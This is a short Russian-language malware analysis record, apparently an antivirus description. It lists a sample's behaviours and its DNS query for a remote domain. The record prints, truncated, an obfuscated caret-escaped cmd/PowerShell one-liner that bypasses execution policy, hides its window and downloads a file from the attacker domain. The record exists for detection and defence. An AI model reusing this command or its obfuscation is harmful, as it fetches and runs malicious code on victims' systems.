Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://lolotocoporo.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pO^wERs^HelL.eX^e ^-exe^cU^t^IoNp^Oli^Cy^ BYPA^sS -Nop^rofi^lE^ ^-^w^inDO^wStYLE hI^d^DE^N^ (New-^ob^j^Ect SYS^TEm.^neT^.^w^eB^C^LiE^nT).^dOW^NloaD^f^i^Le^('http://lolotocopor...
Сетевая активность
UDP
- DNS ASK lo####coporo.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pO^wERs^HelL.eX^e ^-exe^cU^t^IoNp^Oli^Cy^ BYPA^sS -Nop^rofi^lE^ ^-^w^inDO^wStYLE hI^d^DE^N^ (New-^ob^j^Ect SYS^TEm.^neT^.^w^eB^C^LiE^nT).^dOW^NloaD^f^i^Le^('http://lolotocopor...' (со скрытым окном)
